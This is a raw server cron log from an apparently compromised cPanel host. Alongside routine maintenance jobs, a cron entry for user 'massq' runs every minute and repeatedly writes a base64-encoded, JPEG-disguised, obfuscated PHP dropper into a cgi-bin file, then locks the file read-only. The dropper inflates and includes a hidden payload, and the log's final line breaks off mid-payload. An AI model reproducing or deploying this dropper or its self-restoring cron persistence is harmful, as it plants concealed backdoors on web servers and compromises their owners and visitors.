Sep 11 06:20:01 server CROND[1493]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 06:20:01 server CROND[1497]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 06:20:01 server CROND[1498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:20:01 server CROND[1505]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 06:20:01 server CROND[1503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:20:01 server CROND[1510]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:20:01 server CROND[1506]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 06:20:01 server CROND[1508]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 06:21:01 server CROND[2428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:21:01 server CROND[2430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:21:01 server CROND[2431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:22:01 server CROND[2890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:22:01 server CROND[2891]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:22:01 server CROND[2892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:23:01 server CROND[3369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:23:01 server CROND[3371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:23:01 server CROND[3370]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:24:01 server CROND[3740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:24:01 server CROND[3741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:24:01 server CROND[3742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:25:01 server CROND[4150]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 06:25:01 server CROND[4154]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 06:25:01 server CROND[4162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:25:01 server CROND[4166]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 06:25:01 server CROND[4169]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:25:01 server CROND[4172]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 11 06:25:01 server CROND[4168]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:25:01 server CROND[4165]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 06:26:01 server CROND[5001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:26:01 server CROND[5002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:26:01 server CROND[5003]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:27:01 server CROND[5367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:27:01 server CROND[5369]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 06:27:01 server CROND[5370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:27:01 server CROND[5368]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:28:01 server CROND[5839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:28:01 server CROND[5840]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:28:01 server CROND[5841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:29:01 server CROND[6309]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:29:01 server CROND[6311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:29:01 server CROND[6310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:30:01 server CROND[6690]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 06:30:01 server CROND[6692]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 06:30:01 server CROND[6695]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 06:30:01 server CROND[6696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:30:01 server CROND[6697]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 06:30:01 server CROND[6694]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:30:01 server CROND[6699]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 06:30:01 server CROND[6698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:31:01 server CROND[7521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:31:01 server CROND[7522]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:31:01 server CROND[7523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVA